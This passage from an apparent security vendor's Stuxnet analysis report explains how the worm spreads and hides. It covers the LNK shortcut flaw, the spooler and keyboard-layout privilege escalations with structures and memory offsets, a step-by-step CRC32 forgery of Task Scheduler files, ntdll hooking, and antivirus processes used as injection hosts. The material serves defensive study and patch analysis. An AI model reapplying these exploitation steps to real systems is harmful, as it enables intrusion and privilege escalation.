This didnt put a complete end to the speculation, of course.
In fact, some of the speculation actually grew wilder.
Most notably, Sky News, tired of mere factual reporting and even half-informed speculation, took off for planet Fantasy, where it discovered that the Sky really is falling, claiming that the super virus is being traded on the black market and could be used by terrorists.
That, we suppose, would be the bad guys as opposed to the saintly individuals who originally put Stuxnet together, very possibly to attack nuclear facilities.
http://www.scmagazineuk.com/microsoft-plugs-stuxnet-problems-as-nine-bulletins-are-released-on-patch-tuesday/article/178911/?DCMPEMC-SCUK_Newswire http://www.scmagazineuk.com/microsoft-plugs-stuxnet-problems-as-nine-bulletins-are-released-on-patch-tuesday/article/178911/?DCMPEMC-SCUK_Newswire http://blogs.technet.com/b/msrc/ http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx http://www.langner.com/en/index.htm http://realtimeacs.com/?page_id6520 http://realtimeacs.com/?page_id6620 http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process http://www.virusbtn.com/conference/vb2010/programme/index http://www.symantec.com/connect/blogs/w32stuxnet-dossier http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.virusbtn.com/pdf/conference_slides/2010/Raiu-VB2010.pdf http://www.virusbtn.com/pdf/conference_slides/2010/OMurchu-VB2010.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645 23 www.eset.com Our view is that, given the amount of detailed analysis thats already available, anyone with malicious intent and a smidgen of technical skill would not need the original code.
There is certainly substantial evidence suggesting  that equipment used for uranium enrichment in nuclear facilities, perhaps in Iran, was the original target.
However, Will Gilpin, apparently an IT security consultant to the UK government, suggested that possession of the virus in whatever form has alarming potential: You could shut down the police 999 system.
You could shut down hospital systems and equipment.
You could shut down power stations, you could shut down the transport network across the United Kingdom.
These assertions clearly owed little to the PLC code actually discussed in the competent analyses above.
While it might be possible to do all these things, that would require extensive re-engineering of the existing code and possibly a completely new set of 0-days.
While its by no means all-inclusive, the timeline at http://www.infracritical.com/papers/stuxnet- timeline.txt is pretty comprehensive.
The Langner team at http://www.langner.com/en/2010/12/31/year-end-roundup/ finished the year 2010 with a blog summarizing the up-to-date bottom line on their view of Stuxnet.
Of course, they had published a steady stream of interesting and relevant blogs at http://www.langner.com/en/blog/ before that, some of which have been listed in this document.
As of version 1.31 of this document, we will not be publishing further revisions except to correct errors or to introduce substantial new or modified material.
We will, however, be adding links from time to time to the ESET blog entry at http://blog.eset.com/?p5731.
http://www.infracritical.com/papers/stuxnet-timeline.txt http://www.infracritical.com/papers/stuxnet-timeline.txt http://www.langner.com/en/2010/12/31/year-end-roundup/ http://www.langner.com/en/blog/ http://blog.eset.com/?p5731 24 www.eset.com 3 Distribution In this section we present information about the ways in which Stuxnet self-propagates.
We pay close attention to the vulnerabilities used by the worm to propagate itself and describe it in details in this section.
The reader can find comprehensive information here on the LNK vulnerability and its implementation in Stuxnet as well as on the MS10-061 vulnerability in the Windows Spooler, both of which are used to deliver and execute the malwares binaries on a remote machine.
We also describe vulnerabilities in win32k.sys driver and Windows Task Scheduler Service implementation used to elevate Stuxnets privileges up to SYSTEM level.
There are four ways the rootkit can distribute itself: by means of flash drives, through network shares, through an RPC vulnerability and through the recently patched MS10-061 Print Spooler vulnerability.
The figure below depicts the vulnerabilities used for propagation and installation.
Figure 3.1  Stuxnet Propagation and Installation Vectors 3.1 The LNK exploit Microsoft Security Advisory (2286198) CVE-2010-2568 includes links to detailed information about this exploit.
http://www.microsoft.com/technet/security/advisory/2286198.mspx.
ESET allocated a separate detection family LNK/Autostart for the detection of attacks using this vulnerability.
This vulnerability http://www.microsoft.com/technet/security/advisory/2286198.mspx 25 www.eset.com was known to be in the wild for over a month even after it was identified before Microsoft were able to release a patch for it in late August 2010, as described in the following bulletin: http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx.
The vulnerability is not based on a standard means of exploitation, where you would expect to need to prepare exploit with shellcode, which would make use of the vulnerability.
In fact any .LNK file can exploit it, at exploitation CVE-2010-2568 is used feature .LNK files, when displayed in windows explorer and the icon for a .LNK file is loaded from a CPL file (Windows Control Panel file).
Actually, the CPL file represents a conventional dynamic link library and this is the crux of the vulnerability.
The role of the payload module will be indicated in the path to the CPL file.
Figure 3.2  Information about CPL File So below we can see the general scheme of the Shell Link (.
LNK) Binary File Format (http://www.stdlib.com/art6-Shortcut-File-Format-lnk.html).
Figure 3.3  Scheme of Shell Link (.LNK) Binary File Format http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx http://www.stdlib.com/art6-Shortcut-File-Format-lnk.html 26 www.eset.com The most interesting feature here is hidden in the File Location Info field, which specifies the path from which the CPL file should be loaded.
A vulnerability was found in Windows Shell which could allow code execution if the icon of a specially crafted shortcut is merely displayed.
Here is a malicious .LNK file from an infected USB flash drive: Figure 3.4  Malware .LNK File from an Infected USB Flash Drive In the File Location Info field there is a path to the file that contains the payload that should be executed.
In this case, the path points to an external drive, and when this is viewed in Windows Explorer it causes the system to execute wtr4141.tmp.
More information on the distribution using external USB and media devices can be read in the section devoted to precisely this functionality.
In all the analyzed malicious .LNK files we have seen, there is a feature that consists of two GUID sequences.
These sequences indicate the following: Figure 3.5  GUID from .LNK Files The .LNK file most likely points to and loads a CPL file.
When the directory containing the crafted .LNK exploit is opened with Windows Explorer, the following chain of function calls will eventually lead to a function call LoadLibraryW().
When the function LoadLibraryW() is called, the malware DLL  will be executed.
27 www.eset.com Figure 3.6  A Chain of Calls If we trace this chain of calls in the debugger, we see confirmation of all the facts described above.
Thus we can execute any malicious module, as LoadLibraryW() receives as a parameter the path to the module, which it must perform and no additional inspections are not happening.
Figure 3.7 Loading Malicious Module This vulnerability highlights the fact that like many other bugs, this error has found its way into the architecture of fundamental mechanisms, in this case for processing LNK files.
Vulnerabilities which, as in this case, are symptomatic of fundamental design flaws are a nightmare for developers of any program, because they are always difficult and time-consuming to fix.
3.1.1 Propagation via External Storage Devices Since the vulnerability is based on the mechanism for the display .LNK files, it is possible to distribute malware via removable media and USB drives without using Autorun-related infection.
This propagation vector was used in the Stuxnet attack.
3.1.2 Metasploit and WebDAV Exploit A few days after the public debate concerning .LNK PoC exploitation, the Metasploit Framework released code including implementation of the exploit in order to allow remote attacks (http://www.metasploit.com/modules/exploit/windows/browser/ms10_046_shortcut_icon_dllloader), Prior to the release of this exploit, it was believed that this vulnerability is not exploitable for remote attacks.
Researchers from the Metasploit Project showed that this was not the case, by using the UNC path to the WebDAV service (http://msdn.microsoft.com/en-us/library/cc227098(PROT.10).aspx).
This vulnerability is still functional.
This exploit used a WebDAV service that can be used to execute an arbitrary payload when accessed as a UNC path by following the link generated by Metasploit that displays the directory containing .LNK file and DLL module with payload.
http://www.metasploit.com/modules/exploit/windows/browser/ms10_046_shortcut_icon_dllloader http://msdn.microsoft.com/en-us/library/cc227098(PROT.10).aspx 28 www.eset.com Figure 3.8  WebDAV Directory Generated by Metasploit The .LNK file contains the network path to the module with the payload.
Figure 3.9  .LNK File Generated by Metasploit The vulnerability in .LNK files and the recently discovered DLL Hijacking vulnerability (http://www.microsoft.com/technet/security/advisory/2269637.mspx) have much in common, both in the nature of their appearance, and in the ways in which theyve been exploited.
3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common?
While we have been writing this report public information was released about DLL Hijacking flaws (Microsoft Security Advisory 2269637) and we noted some association with or resemblance to the .LNK files vulnerability.
Both vulnerabilities are inherent design flaws and in both cases the function LoadLibrary() is used.
The directory where the exploitative file is found can be situated in a USB drive, an extracted archive, or a remote network share.
In both cases we find spoofed paths to a loadable module and the possibility of a remote attack via the WebDAV service.
What other vulnerabilities are stored in Windows operating systems, nobody knows.
Most likely, this vector of attack will undergo a thorough research and it might be that something else equally interesting is awaiting us in the near future.
http://www.microsoft.com/technet/security/advisory/2269637.mspx 29 www.eset.com 3.2 LNK Vulnerability in Stuxnet This is the first way in which the rootkit distributes itself.
When you inspect a flash USB drive infected with the Stuxnet worm you can expect to find 6 files there as on the following screenshot: Figure 3.10  The Worms Files on a USB Flash Drive Copy of Shortcut to.lnk Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Copy of Shortcut to.lnk WTR4141.TMP WTR4132.TMP.
The first four files are LNK files  these are the files that specify how the Icon of other files should be displayed.
The files with LNK extension are different: here is an example of the contents of one of them: Figure 3.11  Contents of the .LNK Files The worm exploits the CVE-2010-2568 vulnerability (see section The LNK exploit for details) to infect the system.
You can see in the figure above the highlighted name of the module to be loaded during the exploitation of the vulnerability.
When a user tries to open an infected USB flash drive with an application that can display icons for shortcuts, the file with the name WTR4141.TMP is loaded and its entry point is called.
The file is, in fact, a dynamic link library, the main purpose of which is to load another file with the name WTR4132.TMP from the infected flash drive.
30 www.eset.com The files with the .LNK filename extension are essentially the same except they specify different paths to the single file: \\.\STORAGEVolume_?
?_USBSTORDiskVen_____USBProd_FLASH_DRIVERev_1 2345000100000000173053f56307-b6bf-11d0-94f2-00a0c91efb8b53f5630d-b6bf-11d0- 94f2-00a0c91efb8b\WTR4141.tmp \\.\STORAGEVolume119f7e59c0_?
?_USBSTORDiskVen_____USBProd_FLASH _DRIVERev_12345000100000000173053f56307-b6bf-11d0-94f2- 00a0c91efb8b53f5630d-b6bf-11d0-94f2-00a0c91efb8b\WTR4141.tmp \\.\STORAGERemovableMedia81c5235dc0RM53f5630d-b6bf-11d0-94f2- 00a0c91efb8b\WTR4141.tmp \\.\STORAGERemovableMedia71c5235dc0RM53f5630d-b6bf-11d0-94f2- 00a0c91efb8b\WTR4141.tmp.
All these strings specify a path to the file located on the removable drive, and are used instead of a short form of the path with a drive letter.
The first part of the path to the file (before the backslash \ that precedes the filename) is a symbolic link name referring to the corresponding volume, as we can see on the figure below: Figure 3.12  Symbolic Link Names of Volumes The first entry in figure 3.12 corresponds to the volume representing a USB flash drive, the name of which is \Device\HarddiskVolume5.
Notably, that drive letters are symbolic link names too that refer to the same device objects: Figure 3.13  Drive letters Stuxnet uses the long versions of pathnames because it is impossible to predict what letter corresponds to a removable drive in a remote system, and as a result, the short paths are likely to be incorrect in some cases.
The longer variant of a path is constructed with respect to certain rules and configuration information obtained from the hardware, so that we can predict with considerable accuracy what symbolic link name corresponds to a device on a remote machine.
The rules according to which these symbolic links are constructed vary depending on the operating system, which is why Stuxnet uses four distinct .LNK files.
For instance, the first entry in the list presented above wont work on Windows XP but will work on Windows 7, the second entry works on Windows Vista, while the last two entries work on Windows XP, Windows Server 2003 and Windows 2000.
31 www.eset.com 3.3 The MS10-061 Attack Vector Another way in which the worm replicates itself over the network exploits a vulnerability in Window Spooler (MS10-061).
Machines with file and printer sharing turned on are vulnerable to the attack.
This vulnerability results in privilege escalation allowing a remote user using a Guest account to write into SYSTEM directory of the target machine.
The attack is performed in two stages: during the first stage the worm copies the dropper and additional file into Windows\System32\winsta.exe and Windows\System32\wbem\mof\sysnullevnt.mof respectively, while at the second stage the dropper is executed.
The first stage exploits the MS10-061 vulnerability.
Under certain conditions the spooler improperly impersonates a client that sends two documents for printing as we can see on the figure below.
Figure 3.14  Printing Malicious Files into Files in SYSTEM Directory These documents are printed to files in the SYSTEM directory while a user has Guest privileges that shouldnt entail access rights to the SYSTEM directory.
During exploitation of the vulnerability, a thread of the process spoolsv.exe calls an API function StartDocPrinter() with parameter specifying the following information about document to be printed: typedef struct _DOC_INFO_1 LPTSTR pDocName   // Default LPTSTR pOutputFile   // winsta.exe or wbem\mof\sysnullevnt.mof LPTSTR pDatatype   // RAW DOC_INFO_1 In the middle of September 2010, Microsoft released a security patch to fix MS10-061.
We have compared the original executable spoolsv.exe with the patched executable and found some functional differences.
One of the most important differences concerns the YStartDocPrinter function which is eventually called in order to print a document.
On the figure below we provide a graphical representation of the functions.
32 www.eset.com Figure 3.15  Functional Changes in the Patched Version The left-hand side represents the patched function while on the right-hand the original is displayed.
The functions are in general the same, but some additional checks have been added, and these are highlighted in red.
Before printing a document the function performs the following checks: whether the caller belongs to Local group whether OutputFile parameter is NULL or equal to a port name of the printer: otherwise a client needs to have appropriate access rights to write to the specified file.
The sequence of check is presented on the figure below.
33 www.eset.com Figure 3.16  Additional Checks Implemented by Microsoft The second stage of the attack employs the file wbem\mof\sysnullevnt.mof : that is, a Managed Object Format file.
Files of this type are used to create or register providers, events, and event categories for WMI.
Under certain conditions this file runs winsta.exe (the dropper) and its execution by the system results in the infection of the system.
34 www.eset.com 3.4 Network Shared Folders And RPC Vulnerability (MS08-067) The worm is also capable of distributing itself over the network through shared folders.
It scans network shares c and admin on the remote computers and installs a file (dropper) there with the name DEFRAGGetTickCount.
TMP, and schedules a task to be executed on the next day: rundll.exe C:\addins\DEFRAGdc2d0.TMP, DllGetClassObject Figure 3.17  Stuxnet Schedules Dropper Execution on the Next Day Stuxnets exploitation of the MS08-67 vulnerability to propagate itself through the network is comparable to the use of the same vulnerability by the network worm Conficker.
Its exploit is implemented as a separate module.
We have compared the two exploit implementations in Conficker and Stuxnet and found that the shell codes that have been used are different.
Stuxnets shell code is rather sophisticated and employs advanced techniques that have recently become widely spread such as ROP (return oriented programming).
35 www.eset.com 3.5 0-day in Win32k.sys (MS10-073) When the Win32/Stuxnet worm didnt have enough privileges to install itself in the system it exploited a recently patched (MS10-73) 0-day vulnerability in the win32k.sys system module to escalate privilege level up to SYSTEM, which enabled it to perform any tasks it likes on the local machine.
The vulnerable systems are: Microsoft Windows 2000 Unpatched Windows XP (all service packs).
Actually, in theory, it is possible to exploit this vulnerability on the other systems as the code pertaining to the vulnerability exists (see figure 3.17), but there are no known ways to reach it (i. e. the code that transfers control to the shell code) and as a result the shell code wont be executed.
To perform this trick, Stuxnet loads a specially crafted keyboard layout file, making it possible to execute arbitrary code with SYSTEM privileges.
The escalation of privileges occurs while dispatching input from the keyboard in Win32k.sys module.
While processing input from the keyboard using the NtUserSendInput system service, the following code is executed: Figure 3.18  A fragment of the executed code during processing keyboard input The purpose of this code is to determine how to dispatch virtual key code of the pressed button.
Register ecx specifies the type of the handler according to the current keyboard layout to be called in _aNLSVKProc procedure table.
This table consists of three handlers: Figure 3.19  _aNLSVKProc procedure table As we can see from the figure above (3.18), the _aNLSVKProc is followed by 3 DWORDs, the last of which (highlighted in red) can be interpreted as a pointer pointing to  0x60636261 in the user-mode address space.
Thus, if we set the ecx register in the code in figure 1 with the proper value, namely 5, then we can execute code at  0x6036261 with SYSTEM privileges.
We can manipulate the ecx register in this code by loading a specially crafted keyboard layout file specifying that certain virtual key codes should call the procedure indexed as 5.
The keyboard layout file is a dynamic link library of which the .data section is specially structured.
Below we present a structure that maps virtual keys to corresponding procedures in the table.
36 www.eset.com typedef struct _VK_TO_FUNCTION_TABLE BYTE Vk    // Virtual-key code BYTE NLSFEProcType   // Index of the procedure in _aNLSVKProc table // corresponding to the virtual key BYTE NLSFEProcCurrent BYTE NLSFEProcSwitch VK_FPARAM NLSFEProc[8] VK_FPARAM NLSFEProcAlt[8] VK_F, KBD_LONG_POINTER PVK_F The worm loads a special keyboard layout file by calling NtUserLoadKeyboardLayoutEx and passing it the following hexadecimal constant 0x01AE0160 as an offTable parameter.
The low word of this parameter specifies the RVA (Relative Virtual Address) of the KBDTABLES structure from the beginning of the file, while the high word specifies the RVA of KBDNLSTABLES, which is of particular interest.
The latter structure determines the address and size of the array of VK_F structures contained in the file.
typedef struct tagKbdNlsLayer USHORT OEMIdentifier USHORT LayoutInformation UINT   NumOfVkToF   // Size of array of VK_F structures PVK_F pVkToF   // RVA of array of VK_F structures in the // keyboard layout file INT NumOfMouseVKey USHORT KBD_LONG_POINTER pusMouseVKey KBDNLSTABLES, KBD_LONG_POINTER PKBDNLSTABLES In figure 3.19 below we present the contents of the .data section where we can see that the structure KBDNLSTABLES located at RVA 0x1AE specifies one structure VK_F located at RVA 0x01C2.
Figure 3.20  .data section of the crafted keyboard layout file As we can see, the keyboard layout file contains exactly one VK_F structure that maps a virtual-key with code equal to procedure 0 in _aNLSVKProc with indexed as 5.
37 www.eset.com One thing we need to do in order to exploit this vulnerability is to allocate a buffer for the code to be executed at address 0x60636261 as in the case with Stuxnet, which allocates 32KB of memory at 0x60630000 (figure 3.20) and writes shell code at 0x60636261 (figure 3.21): Figure 3.21  Stuxnet allocates 32KB of memory at  0x60630000 for shell code Figure 3.22  The beginning of the shell code at 0x60636261 Microsofts patch On the 13th of October 2010 Microsoft released a security patch that fixes this vulnerability.
Weve compared unpatched and patched Win32k.sys modules to understand the way the vulnerability was fixed.
As we expected MS added an additional check in the code handling keyboard input (namely in the function xxxEKNLSProcs) to prevent NLSFEProcType field of the VK_F structure of being out of the boundaries _aNLSVKProc table.
In the figures below we can see unpatched (figure 3.22) and patched code (figure 3.23) respectively where the additional check is highlighted with the red border.
As we can see, before calling a procedure from _aNLSVKProc table the check is performed to ensure that the index of the procedure doesnt exceed the value of 2 (correct values are 0,1,2).
38 www.eset.com Figure 3.23  A part of the xxxEKNLSProcs procedure before patching 39 www.eset.com Figure 3.24  A part of the xxxEKNLSProcs procedure after patching 40 www.eset.com 3.6 MS10-092: Exploiting a 0-day in Task Scheduler Yet another vulnerability that Stuxnet exploits in order to elevate privileges concerns the Task Scheduler Service implemented in Windows operating systems starting from Windows Vista.
Remarkably enough, 64-bit version of the operating systems are vulnerable as well as x86 versions.
Exploiation of the vulnerability allows Stuxnet to elevate its privileges up to SYSTEM level.
There vulnerability represented a serious flaw in the original design of the service: namely in the way it controlled integrity of the metadata describing scheduled jobs.
In operating systems after Windows Vista, Task Scheduler creates an xml file with configuration information for each registered job.
These files are usually located in the SystemRoot\system32\Tasks folder (if not otherwise specified) and contain such information as type of the job, path to the executable and command line arguments, account that the executable will be run under, required privileges and so on.
Figure  3.25  A part of the configuration file describing a job In the figure above you can see part of the configuration xml file for a task.
The Principals section in the file defines required privileges for the job, while the Actions section defines what the job should do (to get the full list of possible job actions we refer the reader to MSDN).
In particular case as described in figure 3.25 the job will run the notepad application with no command line arguments, using the LocalSystem account with the highest available privileges.
Although the Task Scheduler directory can be read only by LocalSystem and members of the local administrators group, the file describing the task scheduled by a user is fully accessible to him as long as he isnt a Guest( as can be seen on the following figure 3.26).
To protect the integrity of the job configuration files and prevent users from modifying them (for instance to elevate privileges by overwriting the Principals section), Task Scheduler calculates a checksum on creating a task.
When it is time to start the job, Task Scheduler recalculates it and compares the new check sum to the original value: if they match the job is run.
The flaw in the aforementioned scenario is that Task Scheduler calculates the checksum with the CRC32 algorithm (you can find a description of the algorithm in Appendix D).
This is known to be good for detecting unintentional errors (mainly due to transmitting data through communication channels) but not intentional as in the case.
It is known also that the CRC32 algorithm has linear properties that make it very easy to create another message with the same checksum as the specified message.
41 www.eset.com Figure  3.26  Access permissions to the Task folder and a task file This is exactly what Stuxnet does in order to elevate its privileges in unpatched Vista and later operating systems.
Here is a brief summary of the algorithm that Stuxnet uses to exploit the vulnerability: 1.
Create a job that will be run under the current user account with the least available privileges 2.
Read the task configuration file corresponding to the task created at step 1 and calculate its CRC32 checksum 3.
Modify the task configuration file corresponding to the task created at step 1 so that it matches the same check sum as the original file  and set the following properties: a.
Principal IdLocalSystem (principal for the task that provides security credentials) b. UserIdS-1-5-18 (SID of the LocalSystem) c. RunLevelHighestAvailable (run with the highest available privileges) d. Actions ContextLocalSystem (security context under which the actions of the task are performed) 4.
Run the task.
To ensure that the modified file has the same check sum value as the original, it appends a special comment of the form --XY-- to the end of the file and calculates XY (the algorithm for calculating this 42 www.eset.com value is presented in Appendex E) such that it has the specified CRC32 check sum value.
The result of such manipulations is as shown in figure 3.27: Figure  3.27  Forged task configuration file As a result Task Scheduler will start the task normally with the specified privileges.
Microsofts patch On the 14th of December 2010 Microsoft released a security update (MS10-092) to fix the vulnerability in Windows Task Scheduler service which allows elevation of privilege, as described above.
To protect the integrity of the xml schema describing a task, the service already used the crc-32 algorithm.
Thus, given a task xml schema, it is possible to create another schema with the same checksum.
To fix the vulnerability Microsoft implemented an additional SHA-256 cryptographic hash algorithm to check the integrity of a task xml schema.
If we look into the updated schedsvc.dll library which implements the service, we can find a type HashCompute which is not present in the unpatched library: Figure 3.28 - Available methods of the HashCompute type The type was implemented to provide integrity checking for the xml schemas that define tasks.
Here are cross-references to the HashCompute::ComputeHash method which tell us when the hash value is calculated and when it is checked: Figure 3.29 - Cross-references to HashCompute::ComputeHash method If we look at the implementation of the HashCompute::ComputeHash method, the following code can be found, which calculates hash value of the xml schema: 43 www.eset.com Figure 3.30 - Opening handle to Microsoft Enhanced RDA and EAS Cryptographic Provider Figure 3.31 - Computing SHA-256 of xml schema The SHA-256 hash function is known to be secure against finding the second pre-image and collisions, unlike the crc-32 checksum algorithm.
Thus given an xml schema that define a task it is impossible in polynomial (real) time to construct another xml schema with the same hash value.
This means that it is no longer possible to exploit the vulnerability on a patched system in the way that Win32/Stuxnet attempts.
MS10-092 in Win32/Olmarik A new modification of the notorious rootkit Win32/Olmarik.
AIY, also known as TDL4 (you can read TDL3: The Rootkit of All Evil?
report for detailed information about previous version of the rootkit) appeared in the end of November which is capable of elevating privileges on Microsoft Windows operating systems starting from Windows Vista by means of exploiting the MS10-092 vulnerability.
TDL4s implementation of the code that exploits the vulnerability doesnt essentially differ from that of Stuxnets code.
The rootkit creates a legitimate task by means of the available interface in the system, then reads the xml schema corresponding to the task directly from the file in the Task Scheduler folder, and then modifies it: Fig.
3.32: Modification of xml Schema It sets certain attributes with the following values: http://www.eset.com/resources/white-papers/TDL3-Analysis.pdf 44 www.eset.com Principal IdLocalSystem UserIdS-1-5-18 RunLevelHighestAvailable Actions ContextLocalSystem As a result the rootkit creates an xml schema defining a task that will be run under the LocalSystem account.
Below you can see a part of the schema: 45 www.eset.com 4 Stuxnet Implementation This chapter covers the implementation aspects of the worm: namely, its user-mode and kernel-mode components.
A full set of the modules it incorporates can be found in table 4.1.2.
The first part of the section describes Stuxnets user-mode functionality and starts with an overview of the main module.
Furthermore, we present information on how Stuxnet injects code into processes in the system, and on its installation algorithm.
We also describe the set of functions exported by the main module, and the RPC server used for P2P communication.
The second part of this section concerns the kernel-mode drivers that Stuxnet uses to hide its dropper and malicious .LNK files, and inject code into processes so as to survive after reboot.
We also present some information on Stuxnet configuration data and its remote communication protocol with CC servers.
4.1 User-mode functionality There are several modules that constitute the user-mode functionality.
The main module that contains the others is a large dynamic link library.
Other modules including kernel mode drivers are stored in the DLLs resources.
4.1.1 Overview of the main module The main module is represented as a large DLL packed with UPX.
Its unpacked size is 1233920 bytes (1.18 MB).
Figure 4.1  Section Table of the Main Module 46 www.eset.com Figure 4.2  Resources of the Main Module The main module exports 21 functions by ordinal.
Each function has its own purpose as will be described in the section Exported functions.
Figure 4.3  Export Address Table of the Main Module 4.1.2 Injecting code The malware employs quite an interesting technique to inject code into the address space of a process and execute exported functions.
The user-mode modules of Stuxnet are implemented as dynamic link libraries, and exported functions are frequently executed or injected into the address space of a process.
There are two different cases: when a module is loaded into an existing process, or when the module is injected into a new process.
47 www.eset.com 4.1.3 Injecting into a current process Consider the first case, when one of the user-mode components wants to call a function exported by another component in the context of the calling process.
To avoid being detected by antivirus software the malware loads a module in the following way: 1.
It allocates a memory buffer in the calling process for the module to be loaded 2.
It patches Ntdll.dll system library: namely, it hooks the following functions: a. ZwMapViewOfSection b. ZwCreateSection c. ZwOpenFile d. ZwClose e. ZwQueryAttributesFile f. ZwQuerySection 3.
It calls LoadLibraryW API, exported from kerenl32.dll and passing it as a parameter a specially constructed library name, using the pattern: KERNEL32.DLL.ASLR.XXXXXXXX or SHELL32.DLL.ASLR.XXXXXXXX, where XXXXXXXX is a random hexadecimal number 4.
It calls desired exported function 5.
It calls FreeLibrary API function to free loaded library.
To hook the functions specified above, the malware allocates a memory buffer for code that will dispatch calls to hooked functions, overwrite some data in MZ header of the image with the code that transfers control to the new functions, and hook the original functions by overwriting its bodies, the result of these manipulations is presented on figure 4.4.
48 www.eset.com Figure 4.4  Hooking Functions in ntdll.dll 49 www.eset.com The MZ header of ntdll.dll is overwritten with the following code: Figure 4.5  Code Injected into MZ Header of ntdll.dll The purpose of all these manipulations is to load a non-existent library legitimately (at least as far as the system is concerned).
The hook functions allow the malware to load module as if it were a library that really existed.
When a library with specific name (KERNEL32.DLL.ASLR or SHELL32.DLL.ASLR) is requested, these functions map the desired module into the address space of the process.
As a result, the loaded module looks like a real dynamic link library except that there is no file with the name of the library on the hard drive, which reduces probability of detection by heuristic methods.
Some anti-rootkit software does detect it and warn users: 50 www.eset.com Figure 4.6  GMER Detected that Loaded Library doesnt have Corresponding File 4.1.4 Injecting into a new process In the second case when the malware requires the module to be executed in a newly created process it uses different approach.
To achieve this Stuxnet: 1.
Creates a host process 2.
Replaces the image of the process with the module to execute and with supplemental code that will load the module and call specified export passing parameters (as in the first case described).
Depending on the processes present in the system the malware chooses the host process from the following list: lssas.exe (system process) avp.exe (Kaspersky) mcshield.exe (McAfee VirusScan) avguard.exe (AntiVir Personal Edition) bdagent.exe (BitDefender Switch Agent) UmxCfg.exe (eTrust Configuration Engine from Computer Associates International) fsdfwd.exe (F-Secure Anti-Virus suite) rtvscan.exe (Symantec Real Time Virus Scan service) ccSvcHst.exe (Symantec Service Framework) ekrn.exe (ESET Antivirus Service Process) tmproxy.exe (PC-cillin antivirus software from TrendMicro) The malware enumerates processes in the system and if it finds a process whose executable image has a name present in this list, and which meets certain criteria, then it is chosen to be a host for the module.
4.1.5 Installation We can consider the case when WTR4141.
TMP is loaded due to the vulnerability (CVE-2010-2568) in displaying shortcuts for icons as described in section 1.6.
As soon as the file is loaded it hooks the following functions to hide the worms files on a flash USB drive.
51 www.eset.com In kernel32.dll: o FindFirstFileW o FindNextFileW o FindFirstFileExW In ntdll.dll: o NtQueryDirectoryFile o ZwQueryDirectoryFile.
This function filters the files that satisfy the following criteria from being displayed: files with .LNK extension of which the file size is equal to 1471 (0x104b) bytes files with .TMP extension of which the name consists of 12 characters (including filename extension) in the following format: WTRabcd.
TMP, where a,b,c,d are digits from 0 to 9 which sum modulo 10 equals 0 (WTR4411.TMP for example).
This module loads another module.
WTR4132.TMP, using a method described in previous section.
WTR4132.TMP extracts from its section with .stub name another component  the main dynamic link library of Stuxnet - then loads it and calls exported function number 15.
Figure 4.7  Installation of the Malware This function checks whether the token of the current user belongs to the group of the local administrators on the computer: if so, it executes the exported function with ordinal 0x10 in a new process.
This function installs Stuxnets components onto the system.
52 www.eset.com 4.1.6 Exported functions Here we will describe the functions exported by the main module.
Export 1 This function has the same functionality as the function number 32 except it waits for 60 seconds prior creating and starting Stuxnets RPC Server.
Export 2 This function is called in address space of the process with name s7tgtopx.exe and CCProjectMgr.exe and hooks certain functions by modifying the import address table of the corresponding modules.
The table below gives the names of the patched modules and hooked functions: Table 4.1.1  Patched Modules and Hooked Functions Patched module Hooked function Library exporting hooked function s7apromx.dll CreateFileA kernel32.dll mfc42.dll CreateFileA kernel32.dll msvcrt.dll CreateFileA kernel32.dll CCProjectMgr.exe StgOpenStorage ole32.dll The hook for CreateFileA monitors opening files with the extension .S7P while the hook for StgOpenStorage monitors files with extension .MCP.
Export 4 This function performs the full cleanup of the malware from the system.
It starts a new process, injects the main module into it and calls exported function 18 (see 18).
Export 5 This function checks whether the kernel-mode driver MrxCls.sys is properly installed in the system.
Export 6 This function returns current version of Stuxnet installed in the system.
Export 7 The same as function number 6 53 www.eset.com Export 9 This function builds Stuxnets dropper from the files located in the system and runs it.
The dropper is constructed from the following files which seems to be a components of Stuxnet: Dir\XUTILS\listen\XR000000.MDX Dir\XUTILS\links\S7P00001.DBF Dir\XUTILS\listen\S7000001.MDX.
Dir passed as a parameter by a caller of the function.
Export 10 This function performs the same actions as function number 9 which builds and runs the Stuxnet dropper.
The only difference between these functions is that this function can build the dropper from the set of the files used in function number 9 as well as from the following files: Dir\GracS\cc_alg.sav Dir\GracS\\db_log.sav Dir\GracS\\cc_tag.sav.
Parameter Dir  is also specified by a caller.
Export 14 This function manipulates with files which paths it receives as a parameter.
Export 15 This routine initiates infection of the system.
See section 4.1.5 for more details.
Export 16 This function installs the malwares components in the system and performs the following tasks: Drops and installs kernel-mode drivers: MrxNet.sys and MrxCls.sys Drops the main dll in SystemRoot\inf\oem7A.PNF Drops Stuxnets configuration data in SystemRoot\inf\mdmcpq3.PNF Creates tracing file in SystemRoot\inf\oem6C.PNF Drops data file in SystemRoot\inf\mdmeric3.PNF Injects the main dll into services.exe process and executes the function exported as ordinal 32 Injects the main dll into the s7tgtopx.exe process if any exists, and executes exported function 2 there.
Export 17 This function replaces s7otbxdx.dll with a malicious DLL.
It moves the original library into a file called s7otbxdsx.dll.
The malicious library is a wrapper for the original DLL: that is, it simply passes control to the original library, except in the case of certain functions which it hooks: s7_event s7ag_bub_cycl_read_create 54 www.eset.com s7ag_bub_read_var s7ag_bub_write_var s7ag_link_in s7ag_read_szl s7ag_test s7blk_delete s7blk_findfirst s7blk_findnext s7blk_read s7blk_write s7db_close s7db_open s7ag_bub_read_var_seg s7ag_bub_write_var_seg Export 18 This function completely removes the malware from the system.
It performs the following operations: 1.
Restores forged dynamic link library (s7otbxdx.dll) for Siemens software 2.
Notifies user-mode components to shutdown so as to remove them properly 3.
